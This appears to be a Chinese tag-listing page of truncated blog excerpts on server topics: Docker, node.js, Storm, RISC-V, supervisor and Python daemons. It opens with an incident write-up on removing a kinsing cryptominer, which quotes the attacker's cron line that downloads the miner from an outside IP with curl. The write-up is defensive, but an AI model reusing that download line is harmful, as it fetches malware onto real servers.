Supervisor

记一次被注入挖矿程序kdevtmpfi解决记录

女生的网名这么多〃 提交于 2021-02-07 09:30:52
前言 发现自己服务器资源使用异常,cpu使用率100%,内存使用也很多,且有陌生的进程。那很有可能是被入侵植入了挖矿程序 解决问题 遇到这种问题切忌惊慌失措,一般挖矿程序除了占用服务资源不会有其他危害 1. 切断来源 一般被侵入的话,服务器上的计划任务会被修改,会有一个进程一直在检测程序是否存在,如果只kill进程删除文件的话会发现过不了一会就会死灰复燃,所以斩草除根,先把去外界不安全的连接关掉。 被修改的计划任务如 curl -o /tmp/kinsing http://45.137.155.55/kinsing 修改服务器密码如果是密钥登陆的切换密钥 passwd user1 #使用root用户修改密码,root用户密码最好也修改下 服务器配置防火墙禁止例如计划任务里的ip访问,云服务器的话可以只允许公司网络访问,去掉非必要暴漏在外的服务端口访问权限,异常访问ip加入防火墙 检查系统的ssh密钥文件,删掉陌生密钥 vim /root/.ssh/authorized_keys 2. 删除挖矿程序 如果直接删除的话可能会发现一会就又开始运行,这是因为没有kill掉它的父进程 检查计划任务删掉异常任务 # 查看 crontab -l #查看root用户下的 crontav -u centos -l #查看centos用户下的(最好普通用户的也看下,方式删除不干净) # 修改

Docker实战学习笔记(附源码)

蓝咒 提交于 2021-02-06 01:19:07
出品|MS08067实验室(www.ms08067.com) 本文作者: 大方子 (Ms08067实验室核心成员) 大方子 微信(欢迎骚扰交流): 目录 守护方式启动容器 容器交互 开始、停止、重启、查看容器输出、查看当前的容器 容器中执行命令 命名空间 容器标识 检查容器元数据 容器的连接 容器的环境变量 只读文件系统 持久化容器 使用init和supervisor进程维持容器的运行状态 清理容器 Docker Hub的使用 Docker 镜像 持久化存储和卷间状态共享 Docker的网络 closed容器 Bridged容器 自定义DNS解析 开放对容器的访问 跨容器通信 Joined容器 Open容器 跨容器依赖 容器链接 Docker Compose docker-compose 命令 在镜像中打包软件 从容器构建镜像 审查文件系统的改动 可配置的镜像属性 镜像体积和层数限制 导出和导入压缩文件系统 构建自动化和高级镜像设置 指令解析 软件分发 帮助 # 显示Docker工具的基本用法 docker help # 显示指定命令的使用方法 docker help cp 守护方式启动动容器 # 以守护的方式运行(后台运行) # ‐‐detach 或 ‐d docker run ‐‐detach ‐‐name web nginx:latest 容器交互 # ‐

node.js中http通讯模块

∥☆過路亽.° 提交于 2021-01-08 06:30:45
创建一个服务器 首先建立一个js文件,命名为app.js 写入内容: const http=require('http' ); http.createServer((request,response) => { response.setHeader( 'Access-Control-Allow-Origin','*') // 设置请求头 第一项代表允许的请求格式,第二项代表允许谁请求 response.write('hello node' ); response.end(); // 必须写,否则页面会进入死循环 }).listen(8000); 然后打入node命令:node app.js (.js可以省略) 打开浏览器访问 172.0.0.1:8000 或者 localhost:8000 都可查看运行结果 就是这么简单,但是在node.js中,只要你修改了js文件,就需要去重新启动node,直接刷新浏览器是没有用的。这种设计有利于提高性能,但是不利于开发调试 所以supervisor就可以帮我们解决这个问题了,supervisor可以监视我们的代码,并且自动重启 使用方法:npm install -g supervisor 使用npm安装 然后就可以使用supervisor去命令app.js启动 supervisor app.js 这样每次保存都会自动帮我们重启

storm的基本概念安装测试

a 夏天 提交于 2021-01-01 02:02:21
strom简介 官方网址: http://storm.apache.org/ 是一个免费,开源的分布式实时计算系统,使用它可以轻松实现数据流的实时处理,Strom很简单,可以用任何编程语言 storm用例:实时在线分析 机器学习,连续计算,分布式RPC,ETL等。 Strom的特点:快速:基准时钟在超过一百万元组(可以理解为数据包)每秒处理的每个节点 简单的设置:有可扩展性,容错性,保证了数据的处理能力,并且易于设置和操作 storm实时流式计算系统 storm集群与hadoop集群(MapReduce)对比 MapReduce是批处理流程 //hadoop处理海量历史任务,不能做到实时 storm没有缓冲区原数据源源不断的进入处理系统,这是流处理 //实时流计算,一直运行直到停止。 Topology(拓扑)与 Mapreduce 一个关键的区别是: 一个MapReduce job 最终会结束, 而一个topology 永远会运行(除非你手动kill 掉) Nimbus(作业控制和资源管理 master进程) 与ResourManager 在Storm 的集群里面有两种节点: 控制节点(master node)和工作节点(worker node)。控制节点上面运行一个叫Nimbus 后台程序,它的作用类似Hadoop 里面的JobTracker /

关于RISC-V启动部分的思考~

吃可爱长大的小学妹 提交于 2020-12-23 14:30:24
1.本文说明 RISC-V的架构有着非常鲜明的特点,如果看过arm,aarch64,mips等架构的一些架构手册的基础知识,再看RISC-V的芯片的架构设计,就会觉得非常有意思,可以找到一些影子,但是又比这些架构设计简洁的多。当我看完aarch64的芯片手册,再看RISC-V的boot时,设计思想竟然可以做一些对比,同样去看RISC-V和mips的寄存器,也可看到高度的一致性。对于x86的架构我未曾深入了解,但是在risc-v上应该也可以找到一些设计元素。总体说来,RISC-V的架构设计集合了各种架构的设计的优点。我突然觉得这种堆叠即模块的设计思想,在当前IoT物联网发展的如火如荼的时代又要被赋予最新的使命了。我十分看好RISC-V的设计思想,也期待着与软件界的Linux一样,发展的繁荣昌盛。 1.1 RISC-V的诞生的时代背景 RISC-V至诞生之日起,就赋予了良好的设计模式,吸收了大量的arm、x86、以及mips中良好的设计基因,将过时指令设计的与架构设计中的坑都避免了。这几十年的芯片的发展过程中,不少的芯片架构都曾因为设计问题消失在历史长河中,有着曾经一度辉煌的sparc,还有当时被十分看好的mips。如今市场上最热门的就属x86和arm了,一个主打移动市场,一个主打pc市场,两个在芯片架构的市场上发展的如火如荼。 然而,两个巨头都牢牢的把控着核心技术的门槛

Storm 第二章 Storm安装

。_饼干妹妹 提交于 2020-12-22 22:55:06
1 strom集群规划   Nimbus:hadoop1   zookeeper:hadoop2,hadoop3,hadoop4   supervisor:hadoop5,hadoop6,hadoop7   安装文件:apache-storm-1.0.0.tar 2 配置文件  storm.zookeeper.servers: - " hadoop2 " - " hadoop3 " - " hadoop4 " nimbus.seeds: [ " hadoop1 " ] supervisor.slots.ports: - 6700 - 6701 - 6702 - 6703 storm.local. dir : " /home/hadoop/storm-dir/ "   storm.zookeeper.servers:配置zookeeper地址   nimbus.seeds:配置nimbus地址,可以配置多个   supervisor.slots.ports:upervisor上能够运行workers的端口列表.每个worker占用一个端口,且每个端口只运行一个。   storm.local.dir:storm使用的本地文件系统目录。 3 分发安装包   使用scp命令将安装包分发至hadoop5,hadoop6,hadoop7 4 启动集群   4.1

linux 设置开机自动启动应用

流过昼夜 提交于 2020-12-19 01:57:36
  作为一个开发,项目现在一般都是部署在虚拟机上的linux,数据库也是按照在l虚拟机上的linux,一旦关机了,在开机程序都没打开,又要一个个去开,很麻烦,所以现在我现在使用supervisor去做一个守护进程,然后项目就托管在supervisor上,然后开机让supervisor启动就可以了。具体方法如下:    ubuntu   ubuntu开机自启有多种方式,我采用下面的方式:   # 编辑 / etc / rc.local文件,其实 / etc / rc.local只是个会在开机时执行的脚本   sudo vim / etc / rc.local   # 在exit 0 之前加入以下命令,下面是我的supervisord的启动命令路径: /usr /bin / supervisord   sudo / usr / bin / supervisord   #保存并退出就可以了。       CentOS   centos可以使用一个简单的命令就可以将命令添加到自动启动程序中,如:     #命令执行后,下次开启将自动启动supervisor   sudo systemctl enable supervisord   #下面的命令可以取消开机自启   sudo systemctl disable supervisord   centos当然也可以使用开机执行脚本的方式来启动

linux 进程守护工具 supervisor 使用概述

前提是你 提交于 2020-12-02 08:14:27
前言 以前跑代码,为了不被杀掉经常用 nohup,后来发现,系统认为该死的程序都得死,这就很郁闷了,市面上有很多进程守护的小工具,只是写的语言不同而已(例如pm2,用node搞的),supervisor用python写的,以前支持py2,现在py3也支持,所以不用担心版本问题。我这里把一些常规的使用介绍一下,顺便说一下有任何问题查阅官网: supervisor官网 一. 安装 安装方式多种多样, 离线安装:(公司内网不和外网连通)需要提前下好安装包,用make和make install 编译安装,稍微复杂点,这里不多说,有需要就自己研究一下。 在线安装:因为supervisor是python写的,所以可以直接 pip install supervisor 进行安装;或者 yum install supervisor 进行安装;首推pip方式。 二.配置 这里说一下,supervisor的所有启动设置都只在一个文件中进行配置,这个文件是最重要的。 生成基础配置文件:运行 echo_supervisord_conf 命令重定向到一个文件 echo_supervisord_conf > /home/flask_pro/supervisor_config/supervisord.conf /home/flask_pro/ 这个目录是我自己建的一个flask项目的目录, supervisor

linux(centos)下安装supervisor进程管理工具

别说谁变了你拦得住时间么 提交于 2020-12-02 08:14:10
在接触supervisor进程管理工具之前,使用springboot打包部署到linux服务器的流程是这样子的,如下图所示: 上图展示的就是最一般的流程,如果项目是小项目或者demo可以这样子去部署,但是实际生产中会有各种各样的问题存在,比如: 项目发布之后,由于各种可能的原因,服务器宕机或者服务进程挂掉,不能自动重启; 如果项目是频繁更新,频繁发布,这样子简直会把人累死; ... ok,今天先来解决第一个问题,服务重启的问题。 supervisor介绍 Supervisor,是一个进程控制系统,是一个客户端/服务器端系统允许用户在UNIX-LIKE 操作系统中去监控,控制一些进程。Supervisor作为主进程,Supervisor下管理的时一些子进程,当某一个子进程异常退出时,Supervisor会立马对此做处理,通常会守护进程,重启该进程,保证进程可用。 supervisor安装 一般服务器都部署在ecs上面,推荐使用yum命令安装,简单省心。 首先,使用命令 yum -y install supervisor supervisor配置 系统会自动安装,等待安装完毕之后,输入命令: vim /etc/supervisor.d/test.ini 使用vim命令新建一个test.ini文件,该文件是管控进程的配置文件,内容大致如下,可根据个人需要增删配置: #启动程序的名称

Python实现守护进程

我怕爱的太早我们不能终老 提交于 2020-11-23 07:40:47
概念 守护进程(Daemon)也称为精灵进程是一种生存期较长的一种进程。它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。他们常常在系统引导装入时启动,在系统关闭时终止。unix系统有很多守护进程,大多数服务器都是用守护进程实现的,例如inetd守护进程。 需要了解的相关概念 进程 (process) 进程组 (process group) 会话 (session) 可参考以下博文 Linux进程基础 Linux进程关系 实现原理 参考 APUE关于守护进程的章节 大致流程如下: 后台运行 首次fork,创建父-子进程,使父进程退出 脱离控制终端,登录会话和进程组 通过setsid使子进程成为process group leader、session leader 禁止进程重新打开控制终端 二次fork,创建子-孙进程,使sid不等pid 关闭打开的文件描述符 通常就关闭STDIN、STDOUT和STDERR 改变当前工作目录 防止占用别的路径的working dir的fd,导致一些block不能unmount 重设umask 防止后续子进程继承非默认umask造成奇怪的行为 处理SIGCHLD信号 非必需 日志 输出重定向后,需要有机制放映内部情况 关于两次fork 第二个fork不是必须的,只是为了防止进程打开控制终端。